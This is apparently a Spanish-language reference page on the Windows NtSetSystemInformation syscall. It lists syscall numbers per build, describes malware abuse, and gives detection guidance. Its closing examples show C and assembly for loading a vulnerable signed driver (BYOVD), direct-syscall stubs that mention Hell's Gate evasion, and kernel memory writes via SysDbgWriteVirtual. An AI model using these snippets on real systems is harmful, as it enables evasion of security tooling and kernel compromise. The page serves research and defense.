NtSetSystemInformation
Setter genérico del kernel seleccionado por SYSTEM_INFORMATION_CLASS — puerta a SystemDebugControl, carga de drivers GDI y más.
Prototipo
NTSTATUS NtSetSystemInformation( SYSTEM_INFORMATION_CLASS SystemInformationClass, PVOID SystemInformation, ULONG SystemInformationLength );
Argumentos
| Name | Type | Dir | Description |
|---|---|---|---|
| SystemInformationClass | SYSTEM_INFORMATION_CLASS | in | Enum que selecciona la operación, p. ej. SystemLoadGdiDriverInformation (26), SystemDebugControl (37), SystemRegistryQuotaInformation. |
| SystemInformation | PVOID | in | Búfer de entrada específico de la clase (p. ej. SYSTEM_GDI_DRIVER_INFORMATION, SYSTEM_LOAD_GDI_DRIVER_INFORMATION). |
| SystemInformationLength | ULONG | in | Tamaño en bytes del búfer SystemInformation. |
IDs de syscalls por versión de Windows
| Versión de Windows | ID de syscall | Build |
|---|---|---|
| Win10 1507 | 0x18E | win10-1507 |
| Win10 1607 | 0x197 | win10-1607 |
| Win10 1703 | 0x19D | win10-1703 |
| Win10 1709 | 0x1A0 | win10-1709 |
| Win10 1803 | 0x1A2 | win10-1803 |
| Win10 1809 | 0x1A3 | win10-1809 |
| Win10 1903 | 0x1A4 | win10-1903 |
| Win10 1909 | 0x1A4 | win10-1909 |
| Win10 2004 | 0x1AA | win10-2004 |
| Win10 20H2 | 0x1AA | win10-20h2 |
| Win10 21H1 | 0x1AA | win10-21h1 |
| Win10 21H2 | 0x1AC | win10-21h2 |
| Win10 22H2 | 0x1AC | win10-22h2 |
| Win11 21H2 | 0x1B5 | win11-21h2 |
| Win11 22H2 | 0x1B9 | win11-22h2 |
| Win11 23H2 | 0x1B9 | win11-23h2 |
| Win11 24H2 | 0x1BC | win11-24h2 |
| Server 2016 | 0x197 | winserver-2016 |
| Server 2019 | 0x1A3 | winserver-2019 |
| Server 2022 | 0x1B2 | winserver-2022 |
| Server 2025 | 0x1BC | winserver-2025 |
Módulo del kernel
APIs relacionadas
Stub del syscall
4C 8B D1 mov r10, rcx B8 BC 01 00 00 mov eax, 0x1BC F6 04 25 08 03 FE 7F 01 test byte ptr [0x7FFE0308], 1 75 03 jne short +3 0F 05 syscall C3 ret CD 2E int 2Eh C3 ret
Notas no documentadas
A diferencia de la mayoría de sus vecinos, el SSN de NtSetSystemInformation se desplaza en cada release: `0x18E` en 1507, `0x1A4` en 1903/1909, `0x1AA` en 2004-21H1, `0x1AC` en 21H2/22H2, luego `0x1B5`/`0x1B9`/`0x1BC` en Win11. Cualquier stub hardcoded *debe* venir con verificación de build o resolución dinámica. La función es la contraparte de escritura de NtQuerySystemInformation; los controles de acceso dependen del `SYSTEM_INFORMATION_CLASS` elegido: la mayoría requieren SeTcbPrivilege, SeLoadDriverPrivilege o SeDebugPrivilege.
Uso común por malware
Dos abusos notables. (1) **`SystemLoadGdiDriverInformation` (26)** cargaba históricamente un driver GDI en modo kernel a partir de un UNICODE_STRING suministrado por el llamador — vector clásico de carga de drivers no firmados/explotables antes de KMCS. Windows moderno bloquea la ruta no firmada bajo HVCI/Vulnerable Driver Blocklist, pero los actores siguen llamándola en cadenas BYOVD donde el driver sí está firmado. (2) **`SystemDebugControl` (37)** con los subcomandos `SysDbgReadVirtual` / `SysDbgWriteVirtual` permite a un llamador con `SeDebugPrivilege` leer o escribir memoria del kernel sin cargar driver alguno — usado por algunos rootkits y herramientas red-team para parches sigilosos cuando el EDR ya cerró la superficie evidente de carga de drivers. Algunas familias también manipulan `SystemRegistryQuotaInformation` para inflar el registro y deshabilitar componentes que dependen de las cuotas.
Oportunidades de detección
Las llamadas a `NtSetSystemInformation` son raras fuera del SO — funcionan las heurísticas por volumen. La fuente más valiosa es ETW `ImageLoad` de Microsoft-Windows-Kernel-General combinada con el callback de kernel PsSetLoadImageNotifyRoutine, que dispara cuando un driver se carga vía clase 26 — Defender Application Control y la Microsoft Vulnerable Driver Blocklist los consumen para bloquear drivers conocidos como `gdrv.sys`, `RTCore64.sys`, `dbutil_2_3.sys`. Audite `Audit Privilege Use` (Event ID 4673) para uso de SeLoadDriverPrivilege y SeDebugPrivilege, y vigile a llamadores inesperados (no System, no services.exe) invocando NtSetSystemInformation. Los syscalls directos no pueden suprimir la notificación de carga de driver por listo que sea el user-mode.
Ejemplos de syscalls directos
cBYOVD: load a signed-but-vulnerable driver via class 26
// SystemLoadGdiDriverInformation == 26
typedef struct _SYSTEM_GDI_DRIVER_INFORMATION {
UNICODE_STRING DriverName;
PVOID ImageAddress;
PVOID SectionPointer;
PVOID EntryPoint;
PIMAGE_EXPORT_DIRECTORY ExportSectionPointer;
ULONG ImageLength;
} SYSTEM_GDI_DRIVER_INFORMATION, *PSYSTEM_GDI_DRIVER_INFORMATION;
SYSTEM_GDI_DRIVER_INFORMATION info = {0};
RtlInitUnicodeString(&info.DriverName,
L"\\??\\C:\\ProgramData\\vuln.sys");
// Caller must hold SeLoadDriverPrivilege (enabled, not just present).
NTSTATUS s = NtSetSystemInformation(
26 /* SystemLoadGdiDriverInformation */,
&info,
sizeof(info));asmDirect stub for Win11 24H2 (SSN 0x1BC)
; Build-pinned to Win11 24H2 / Server 2025. Use dynamic resolution
; (Hell's Gate / Halo's Gate / Tartarus' Gate) for portable stubs —
; this SSN moves on every feature update.
NtSetSystemInformation_24H2 PROC
mov r10, rcx
mov eax, 1BCh
syscall
ret
NtSetSystemInformation_24H2 ENDPcKernel write via SystemDebugControl (privileged)
// SystemDebugControl == 37 (Set-variant accepts SysDbgWriteVirtual etc.)
typedef enum _SYSDBG_COMMAND {
SysDbgReadVirtual = 8,
SysDbgWriteVirtual = 9,
} SYSDBG_COMMAND;
typedef struct _SYSDBG_VIRTUAL {
PVOID Address;
PVOID Buffer;
ULONG Request;
} SYSDBG_VIRTUAL, *PSYSDBG_VIRTUAL;
// Enable SeDebugPrivilege first.
SYSDBG_VIRTUAL v = {
.Address = (PVOID)0xfffff80000000000ULL, // kernel target
.Buffer = patchBytes,
.Request = patchLen,
};
NtSystemDebugControl(SysDbgWriteVirtual, &v, sizeof(v), NULL, 0, NULL);
// (Note: ntoskrnl exposes both NtSystemDebugControl and SystemDebugControl
// via NtSetSystemInformation; modern builds prefer the dedicated syscall.)Mapeos MITRE ATT&CK
Last verified: 2026-05-20